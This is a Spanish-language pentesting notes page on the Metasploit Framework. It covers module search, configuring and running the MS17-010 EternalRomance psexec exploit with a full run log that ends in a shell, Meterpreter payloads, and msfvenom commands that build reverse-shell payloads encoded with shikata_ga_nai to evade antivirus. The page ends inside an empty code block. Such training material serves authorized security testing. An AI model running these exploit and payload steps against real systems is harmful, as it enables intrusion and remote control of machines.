> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-tools/exploitation/metasploit.md).

# Metasploit

Notas de metodología del Framework Metasploit que cubren msfconsole, búsqueda de módulos, módulos auxiliares, módulos de explotación, payloads, codificadores, msfvenom, Meterpreter, espacios de trabajo de base de datos, sesiones, enumera

## Metasploit:

{% hint style="info" %}
Metasploit es una plataforma de pruebas de penetración de código abierto ampliamente utilizada por profesionales de seguridad informática para evaluar la vulnerabilidad de los sistemas informáticos. Proporciona un conjunto de herramientas y recursos para descubrir, explotar y asegurar vulnerabilidades de seguridad en redes, sistemas operativos, aplicaciones y otros componentes informáticos. En resumen, Metasploit es un marco integral para realizar pruebas de penetración y auditorías de seguridad.
{% endhint %}

Por defecto, todos los archivos principales relacionados con Metasploit Framework se pueden encontrar `/usr/share/metasploit-framework`

## Flujo de trabajo de Metasploit

1. Identifica el servicio expuesto, la versión, la plataforma y la vulnerabilidad probable antes de seleccionar un módulo.
2. Busca módulos por servicio, CVE, plataforma, tipo, clasificación y nombre, y luego revisa la información y las referencias del módulo.
3. Configura las opciones del objetivo, las opciones del payload, las direcciones del listener y la selección del objetivo con la configuración mínima confiable.
4. Ejecuta comprobaciones donde estén disponibles, ejecuta solo módulos confirmados y conserva la salida del módulo para el informe.
5. Gestiona sesiones, espacios de trabajo, loot, credenciales, servicios y hosts a través de la base de datos de Metasploit cuando la evaluación crezca.

### **Módulos:**

Los módulos detallados arriba se dividen en distintas categorías en este archivo. Los detallaremos en las siguientes secciones. Están contenidos en las siguientes carpetas:<br>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77dfbf31283b2d3bfa49b50822638774550ebbd7%2Fimage%20(2425).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Plugins:**

Los plugins le dan al pentester más flexibilidad al usarlos `msfconsole`ya que pueden cargarse fácilmente de forma manual o automática según sea necesario para proporcionar funcionalidad adicional y automatización durante nuestra evaluación.

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edae3294cc47c3a2cc6d9a7b8a6da41a4f6862f7%2Fimage%20(2426).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Escenarios:

Funcionalidad de Meterpreter y otros scripts útiles.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbfdb7ea26f6d2afe655265e269a724fb61af2a7%2Fimage%20(2427).png?alt=media" alt="" width="471"><figcaption></figcaption></figure>

### **Herramientas:**

Utilidades de línea de comandos que pueden invocarse directamente desde el `msfconsole`menú

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-260718694bd64a3ecbbd9379daeeda1eb6238e06%2Fimage%20(2428).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13df96f51b0e8b40b505c931948efb56fac8df30%2Fimage%20(2424).png?alt=media" alt=""><figcaption></figcaption></figure>

### Estructura de una campaña en MSF

La estructura de una campaña en MSF se puede dividir en cinco categorías principales.

* Enumeración
* Preparación
* Explotación
* Escalada de privilegios
* Post-explotación

{% hint style="info" %}
Esta división nos facilita encontrar y seleccionar las funciones adecuadas de MSF de una manera más estructurada y trabajar con ellas en consecuencia. Cada una de estas categorías tiene diferentes subcategorías destinadas a fines específicos. Estas incluyen, por ejemplo, la validación de servicios y la investigación de vulnerabilidades.
{% endhint %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33d8ad54ed6afb63be4d2040b16135f6e955c0f0%2Fimage%20(2423).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Componentes**

### Buscar módulos:

#### Una vez que estemos en la `msfconsole`, podemos seleccionar de una larga lista que contiene todos los módulos de Metasploit disponibles. Cada uno de ellos está estructurado en carpetas, que se verán así:

**Sintaxis:**

```bash
<N.º> <tipo>/<SO>/<servicio>/<nombre>
```

**Ejemplo**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **N.º:**

El `N.º`se mostrará la etiqueta para seleccionar el exploit que queremos más adelante durante nuestras búsquedas. Veremos `N.º`más adelante lo útil que puede ser la etiqueta para seleccionar módulos específicos de Metasploit.

2. **Tipo:**

| Tipo:            | **Descripción**                                                                                                                       |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| `Auxiliar`       | Funciones de escaneo, fuzzing, detección y administración. Proporciona soporte y funcionalidad adicional.                             |
| `Codificadores`  | Asegura que los payloads permanezcan intactos hasta que lleguen a su destino.                                                         |
| `Exploits`       | Módulos que aprovechan una vulnerabilidad para entregar el payload.                                                                   |
| `NOPs`           | (Código de no operación) Mantiene consistentes los tamaños de los payloads entre intentos de explotación.                             |
| `Payloads`       | El código se ejecuta de forma remota y hace una llamada de vuelta a la máquina del atacante para establecer una conexión o una shell. |
| `Plugins`        | Se pueden integrar scripts adicionales en una `msfconsole` evaluación y coexistir.                                                    |
| `Posexplotación` | Amplia gama de módulos para recopilar información, pivotar más profundamente y realizar tareas relacionadas con la posexplotación.    |

3. **SO:**

El `SO`la etiqueta especifica el sistema operativo y la arquitectura para los que se creó el módulo. Naturalmente, distintos sistemas operativos requieren distintos códigos para ejecutarse y lograr los resultados deseados 4. **Servicio:**

El `Servicio` la etiqueta se refiere al servicio vulnerable que se ejecuta en la máquina objetivo. Para algunos módulos, como `auxiliar`  o  `pos`, esta etiqueta puede referirse a una actividad más general como `recopilar`, refiriéndose, por ejemplo, a recopilar credenciales. 5. **Nombre:**

Por último, la `Nombre`etiqueta explica la acción real que se puede realizar usando este módulo creado para un propósito específico.

**MSF - Función de búsqueda**

Por ejemplo, podemos intentar encontrar el `EternalRomance`exploit para versiones antiguas de Windows. Podría verse así:

`search eternalromance`

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-999feeb2ad3e48a6a3fd84fda41b92ed60c1dc92%2Fimage%20(2430).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Búsqueda específica:**

También podemos hacer nuestra búsqueda un poco más amplia y limitarla a una sola categoría de servicios. Por ejemplo, para CVE, podríamos especificar el año (`cve:<año>`), la plataforma Windows (`platform:<SO>`), el tipo de módulo que queremos encontrar (`type:<auxiliary/exploit/post>`), la clasificación de confianza (`rank:<clasificación>`), y el nombre de búsqueda (`<patrón>`). Esto reduciría nuestros resultados a los que coincidan con todo lo anterior.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2cc2559310b8d7bcfc5596da295b1773672e06e%2Fimage%20(2431).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Uso de módulos:

Para seleccionar nuestro primer módulo, primero necesitamos encontrar uno. Supongamos que tenemos un objetivo ejecutando una versión de SMB vulnerable a los exploits de EternalRomance (MS17/\_010). Encontramos que el puerto 445 del servidor SMB está abierto al escanear el objetivo.

**Buscando MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c27e5513ac68682cef267e1ab8f5c9d4d402820%2Fimage%20(2432).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**MSF - Seleccionar un módulo**

Para usar un módulo en Metasploit, primero introduce el `use` comando seguido del número del módulo deseado; luego usa el `options` comando para ver los detalles y las configuraciones disponibles para ese módulo.

```bash
Módulos que coinciden
================

   #  Nombre                                  Fecha de divulgación  Clasificación  Verificación  Descripción
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Sí    MS17-010 EternalRomance/EternalSynergy/EternalChampion Ejecución remota de código SMB en Windows
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion Ejecución remota de comandos SMB en Windows

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Opciones del módulo (exploit/windows/smb/ms17_010_psexec):

   Nombre                  Configuración actual                  Requerido  Descripción
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    yes       Mostrar información adicional de traza de depuración
   LEAKATTEMPTS          99                                       yes       Cuántas veces intentar filtrar la transacción
   NAMEDPIPE                                                      no        Una canalización con nombre a la que se puede conectar (dejar en blanco para automático)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Lista de canalizaciones con nombre a comprobar
                         rdlists/named_pipes.txt
   RHOSTS                                                         yes       El/los host(s) objetivo, ver https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      yes       El puerto objetivo (TCP)
   SERVICE_DESCRIPTION                                            no        Descripción del servicio que se usará en el objetivo para una lista más estética
   SERVICE_DISPLAY_NAME                                           no        El nombre para mostrar del servicio
   SERVICE_NAME                                                   no        El nombre del servicio
   SHARE                 ADMIN$                                   yes       El recurso compartido al que conectarse, puede ser un recurso compartido administrativo (ADMIN$,C$,...) o un
                                                                            recurso compartido normal de carpeta de lectura/escritura
   SMBDomain             .                                        no        El dominio de Windows que se usará para la autenticación
   SMBPass                                                        no        La contraseña para el nombre de usuario especificado
   SMBUser                                                        no        El nombre de usuario con el que autenticarse

Opciones del payload (windows/meterpreter/reverse_tcp):

   Nombre      Configuración actual  Requerido  Descripción
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Técnica de salida (Aceptadas: '', seh, thread, process, none)
   LHOST                      yes       La dirección de escucha (se puede especificar una interfaz)
   LPORT     4444             yes       El puerto de escucha

Objetivo del exploit:

   Id  Nombre
   --  ----
   0   Automático
```

**Información del módulo**

Podemos usar el `info`comando después de seleccionar el módulo si queremos saber más sobre él. Esto nos dará una serie de informaciones que pueden ser importantes para nosotros.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Nombre: MS17-010 EternalRomance/EternalSynergy/EternalChampion Ejecución remota de código SMB en Windows
     Módulo: exploit/windows/smb/ms17_010_psexec
   Plataforma: Windows
       Arquitectura: x86, x64
 Privilegios: No
    Licencia: Licencia de Metasploit Framework (BSD)
       Clasificación: Normal
  Divulgado: 2017-03-14

Proporcionado por:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Objetivos disponibles:
  Id  Nombre
  --  ----
  0   Automático
  1   PowerShell
  2   Carga nativa
  3   Carga MOF

Comprobación compatible:
  Sí

Opciones básicas:
  Nombre                  Configuración actual                  Requerido  Descripción
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    yes       Mostrar información adicional de traza de depuración
  LEAKATTEMPTS          99                                       yes       Cuántas veces intentar filtrar la transacción
  NAMEDPIPE                                                      no        Una canalización con nombre a la que se puede conectar (dejar en blanco para automático)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Lista de canalizaciones con nombre a comprobar
                        rdlists/named_pipes.txt
  RHOSTS                                                         yes       El/los host(s) objetivo, ver https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      yes       El puerto objetivo (TCP)
  SERVICE_DESCRIPTION                                            no        Descripción del servicio que se usará en el objetivo para una lista más estética
  SERVICE_DISPLAY_NAME                                           no        El nombre para mostrar del servicio
  SERVICE_NAME                                                   no        El nombre del servicio
  SHARE                 ADMIN$                                   yes       El recurso compartido al que conectarse, puede ser un recurso compartido administrativo (ADMIN$,C$,...) o un
                                                                           recurso compartido normal de carpeta de lectura/escritura
  SMBDomain             .                                        no        El dominio de Windows que se usará para la autenticación
  SMBPass                                                        no        La contraseña para el nombre de usuario especificado
  SMBUser                                                        no        El nombre de usuario con el que autenticarse

Información del payload:
  Espacio: 3072

Descripción:
  Este módulo explotará SMB con vulnerabilidades en MS17-010 para
  lograr una primitiva de escritura arbitraria en la ubicación deseada. Esto luego se usará para
  sobrescribir la información de la sesión de conexión como una
  sesión de Administrador. A partir de ahí, se realiza el código normal del payload de
  ejecución psexec. Explota una confusión de tipos entre las solicitudes Transaction y
  WriteAndX y una condición de carrera en las solicitudes Transaction, como
  se ve en los exploits EternalRomance, EternalChampion y EternalSynergy.
  Esta cadena de explotación es más confiable que el exploit EternalBlue,
  pero requiere una canalización con nombre.

Referencias:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

También conocido como:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Especificación del objetivo**

Una vez que estemos seguros de que el módulo seleccionado es el adecuado para nuestro propósito, necesitamos definir algunas especificaciones para personalizar el módulo y usarlo con éxito en nuestro host objetivo, como establecer el objetivo ( `RHOST` o  `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

Además, existe la `setg` opción, que especifica que las opciones seleccionadas por nosotros permanezcan como permanentes hasta que se reinicie el programa.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2ed54a96a61ddba91c6c51c83d33d46ef03dad7%2Fimage%20(2434).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ejecución de exploits**

Una vez que todo esté configurado y listo, podemos proceder a lanzar el ataque. Comando: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Iniciado manejador TCP inverso en 10.10.14.15:4444
[*] 10.10.10.40:445 - Usando auxiliary/scanner/smb/smb_ms17_010 como comprobación
[+] 10.10.10.40:445       - ¡Es probable que el host sea VULNERABLE a MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Escaneado 1 de 1 hosts (100% completado)
[*] 10.10.10.40:445 - Conectando al objetivo para la explotación.
[+] 10.10.10.40:445 - Conexión establecida para la explotación.
[+] 10.10.10.40:445 - El SO objetivo seleccionado es válido para el SO indicado por la respuesta SMB
[*] 10.10.10.40:445 - Volcado de búfer bruto CORE (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - La arquitectura objetivo seleccionada es válida para la arquitectura indicada por la respuesta DCE/RPC
[*] 10.10.10.40:445 - Probando el exploit con 12 Groom Allocations.
[*] 10.10.10.40:445 - Enviando todos los fragmentos excepto el último del paquete del exploit
[*] 10.10.10.40:445 - Iniciando el grooming del pool sin paginación
[+] 10.10.10.40:445 - Enviando búferes SMBv2
[+] 10.10.10.40:445 - Cerrando la conexión SMBv1, creando un hueco libre adyacente al búfer SMBv2.
[*] 10.10.10.40:445 - Enviando los búferes finales SMBv2.
[*] 10.10.10.40:445 - ¡Enviando el último fragmento del paquete del exploit!
[*] 10.10.10.40:445 - Recibiendo respuesta del paquete del exploit
[+] 10.10.10.40:445 - ¡La sobrescritura ETERNALBLUE se completó correctamente (0xC000000D)!
[*] 10.10.10.40:445 - Enviando egg a la conexión corrupta.
[*] 10.10.10.40:445 - Activando la liberación del búfer corrupto.
[*] Se abrió la sesión de shell de comandos 1 (10.10.14.15:4444 -> 10.10.10.40:49158) a las 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Objetivos

### **Mostrar objetivos:**

El `show targets`el comando emitido en una vista de módulo exploit mostrará todos los objetivos vulnerables disponibles para ese exploit específico. Si dejas la selección en `Automático`msfconsole sabrá que debe realizar un descubrimiento de servicio en el objetivo dado antes de lanzar un ataque exitoso.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ca78baad8230f0f67ca3ccf72e1147854903b8a%2Fimage%20(2435).png?alt=media" alt=""><figcaption></figcaption></figure>

Sin embargo, si sabemos qué versiones se ejecutan en nuestro objetivo, podemos usar el `set target <n.º de índice>`comando para elegir un objetivo de la lista.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### Cargas útiles:

{% hint style="info" %}
En `payload` En Metasploit, un módulo ayuda al módulo exploit a devolver (normalmente) una `shell` al atacante. Los payloads se envían con el propio exploit para eludir los procedimientos operativos estándar del servicio vulnerable (trabajo del exploit), y luego se ejecutan en el sistema operativo objetivo para, por lo general, devolver una conexión inversa al atacante y cumplir la tarea del payload.
{% endhint %}

Hay tres tipos diferentes de módulos de payload en el framework de Metasploit: Singles, Stagers y Stages.

1. **Payloads individuales** :

> Un payload simple contiene todo el código necesario para la explotación y la ejecución en un único payload independiente. Esto los hace más estables, porque solo hay un elemento que ejecutar. Sin embargo, pueden verse limitados por su tamaño, porque algunos ataques no admiten payloads demasiado grandes. Son ideales para acciones inmediatas, como añadir un usuario o iniciar un proceso en el objetivo.

2. **Payloads Stagers:**

> Los payloads stager funcionan junto con los payloads stage al dividir la carga en varias etapas. Un stager reside en el sistema del atacante e inicia la conexión de red con el objetivo cuando la etapa se ejecuta en la máquina remota. Están diseñados para ser pequeños y confiables, lo que facilita realizar conexiones. También hay stagers de Windows disponibles en versiones "NX" (para compatibilidad con la protección DEP) y "NO-NX", siendo NX más voluminoso pero adecuado para sistemas modernos.

3. **Payloads de Stage**:

> Los payloads stage son componentes cargados por stagers para funcionalidades avanzadas y sin limitaciones de tamaño. Se usan para cargas complejas como Meterpreter o la inyección de VNC. Para minimizar errores, las etapas usan stagers intermedios para garantizar la estabilidad de la carga. Son particularmente adecuados para ataques en varias etapas que requieren un flujo de datos fiable y sostenido.

### Payloads por etapas:

**payloads por etapas**

Como usuario de Metasploit, los encontraremos bajo los nombres comunes `reverse_tcp`, `reverse_https`, y `bind_tcp`. Por ejemplo, bajo el `show payloads`comando, puedes buscar payloads que se vean como los siguientes:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1e4d92b3c4090403c7eb20b12d40eedeef1ef56%2Fimage%20(2436).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Payloads de Meterpreter:**

`Meterpreter` es un payload avanzado que usa inyección DLL para establecer una conexión estable y persistente, completamente en memoria, lo que dificulta su detección. Permite cargar scripts y plugins de forma dinámica. Una vez lanzado, abre una sesión que ofrece comandos específicos para controlar el sistema objetivo: `captura de pulsaciones de teclas, recuperación de contraseñas, escucha del micrófono y más.`

### Búsqueda de payloads:

Para seleccionar nuestro primer payload, necesitamos saber qué queremos hacer en la máquina objetivo. Por ejemplo, si buscamos persistencia de acceso, probablemente querremos seleccionar un payload de Meterpreter.

Al revisar la lista anterior, encontramos la sección que contiene `Payloads de Meterpreter para Windows(x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manual  No     Windows Meterpreter (inyección reflectiva x64), stager TCP de enlace IPv6 para Windows x64
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manual  No     Windows Meterpreter (inyección reflectiva x64), stager TCP de enlace IPv6 para Windows x64 con compatibilidad UUID
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manual  No     Windows Meterpreter (inyección reflectiva x64), stager de canalización con nombre de enlace para Windows x64
   518  windows/x64/meterpreter/bind_tcp                                     manual  No     Windows Meterpreter (inyección reflectiva x64), stager TCP de enlace para Windows x64
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manual  No     Windows Meterpreter (inyección reflectiva x64), stager TCP de enlace (cifrado de etapa RC4, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manual  No     Windows Meterpreter (inyección reflectiva x64), stager TCP de enlace con compatibilidad UUID (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manual  No     Windows Meterpreter (inyección reflectiva x64), stager HTTP inverso para Windows x64 (wininet)
   522  windows/x64/meterpreter/reverse_https                                manual  No     Windows Meterpreter (inyección reflectiva x64), stager HTTPS inverso para Windows x64 (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manual  No     Windows Meterpreter (inyección reflectiva x64), stager de canalización con nombre inversa (SMB) para Windows x64
   524  windows/x64/meterpreter/reverse_tcp                                  manual  No     Windows Meterpreter (inyección reflectiva x64), stager TCP inverso para Windows x64
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manual  No     Windows Meterpreter (inyección reflectiva x64), stager TCP inverso (cifrado de etapa RC4, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manual  No     Windows Meterpreter (inyección reflectiva x64), stager TCP inverso con compatibilidad UUID (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manual  No     Windows Meterpreter (inyección reflectiva x64), stager HTTP inverso para Windows x64 (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manual  No     Windows Meterpreter (inyección reflectiva x64), stager HTTPS inverso para Windows x64 (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manual  No     Shell de Windows Meterpreter, canalización con nombre de enlace en línea (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manual  No     Shell de Windows Meterpreter, TCP de enlace en línea (x64)
   531  windows/x64/meterpreter_reverse_http                                 manual  No     Shell de Windows Meterpreter, HTTP inverso en línea (x64)
   532  windows/x64/meterpreter_reverse_https                                manual  No     Shell de Windows Meterpreter, HTTPS inverso en línea (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manual  No     Shell de Windows Meterpreter, TCP inverso en línea (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manual  No     Shell de Windows Meterpreter, TCP inverso en línea x64
</code></pre>

### **Búsqueda de un payload específico:**

También podemos usar `grep`para filtrar términos específicos. Esto aceleraría la búsqueda y, por lo tanto, nuestra selección.

```bash
grep meterpreter show payloads
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-191ade67bb9818f9ce38186d363e806d9cb579ec%2Fimage%20(2437).png?alt=media" alt=""><figcaption></figcaption></figure>

Ahora podemos añadir otro `grep`comando después del primero y buscar `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48f373e96aabdc1a62b4409a6057a93f0c08b631%2Fimage%20(2438).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Seleccionar payload:**

Usamos `set payload <n.º>`solo después de seleccionar primero un módulo Exploit.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Uso de payloads:

Para la parte del exploit, necesitaremos definir los siguientes elementos:

| **Parámetro** | **Descripción**                                       |
| ------------- | ----------------------------------------------------- |
| `RHOSTS`      | La dirección IP del host remoto, la máquina objetivo. |
| `RPORT`       | El puerto del host remoto.                            |

Para la parte del payload, necesitaremos definir los siguientes elementos:

| **Parámetro** | **Descripción**                                                                 |
| ------------- | ------------------------------------------------------------------------------- |
| `LHOST`       | La dirección IP del host, la máquina del atacante.                              |
| `LPORT`       | Normalmente no necesita modificación; verifica que el puerto no esté ya en uso. |

### Tipos de payload:

| **Carga útil**                    | **Descripción**                                                                           |
| --------------------------------- | ----------------------------------------------------------------------------------------- |
| `genérico/personalizado`          | Listener genérico multipropósito                                                          |
| `generic/shell_bind_tcp`          | Listener genérico multipropósito, shell normal, conexión TCP bind                         |
| `generic/shell_reverse_tcp`       | Listener genérico multipropósito, shell normal, conexión TCP inversa                      |
| `windows/x64/exec`                | Ejecuta un comando arbitrario (Windows x64)                                               |
| `windows/x64/loadlibrary`         | Carga una ruta de biblioteca x64 arbitraria                                               |
| `windows/x64/messagebox`          | Genera un cuadro de diálogo mediante MessageBox con título, texto e icono personalizables |
| `windows/x64/shell_reverse_tcp`   | Shell normal, una sola carga útil, conexión TCP inversa                                   |
| `windows/x64/shell/reverse_tcp`   | Shell normal, stager más etapa, conexión TCP inversa                                      |
| `windows/x64/shell/bind_ipv6_tcp` | Shell normal, stager más etapa, stager de enlace TCP IPv6                                 |
| `windows/x64/meterpreter/$`       | Carga útil Meterpreter más las variantes anteriores                                       |
| `windows/x64/powershell/$`        | Sesiones interactivas de PowerShell más las variantes anteriores                          |
| `windows/x64/vncinject/$`         | Servidor VNC (inyección reflectiva) más las variantes anteriores                          |

## Codificadores

{% hint style="info" %}
Durante los 15 años que ha existido el framework Metasploit, `Codificadores`hemos ayudado a que las cargas útiles sean compatibles con diferentes arquitecturas de procesador, al mismo tiempo que contribuimos a evadir antivirus. `Codificadores`entra en juego con la función de modificar la carga útil para que se ejecute en diferentes sistemas operativos y arquitecturas. Estas arquitecturas incluyen:
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Selección de un codificador:

> Si quisiéramos crear nuestra propia carga útil personalizada, podríamos hacerlo mediante `msfpayload`, pero tendríamos que codificarla según la arquitectura del SO objetivo usando `msfencode`después. Una canalización tomaría la salida de un comando y la enviaría al siguiente, lo que generaría una carga útil codificada, lista para enviarse y ejecutarse en la máquina objetivo.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac18cc3eac15e831205de57b0085ece7314c9320%2F%7BD3279ABA-2960-43A3-86BE-4ECBA9376109%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Generando carga útil - Sin codificación:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Ahora deberíamos observar la primera línea de la `$buf`y ver cómo cambia al aplicar un codificador como `shikata_ga_nai`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634afd7fd599c6ee93aea2f65f8be06d24cf9907%2F%7B8E9B03CA-46C2-4B43-AA36-FC9B9CCC7281%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Generando carga útil - Con codificación:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8f80ba699d93e31e9a027fa806255f4cff67174%2F%7B6963439A-3BE4-4CA9-AFBF-9F1D68EF5AE4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Codificación Shikata Ga Nai:**

> Tomemos el ejemplo anterior tal cual, un ejemplo hipotético. Si codificáramos una carga útil ejecutable solo una vez con SGN, lo más probable es que la mayoría de los antivirus actuales lo detectaran. Veámoslo por un momento. Tomando `msfvenom`, el índice del framework que se ocupa de la generación de cargas útiles y los esquemas de codificación, tenemos la siguiente entrada:

{% code overflow="wrap" %}

```bash
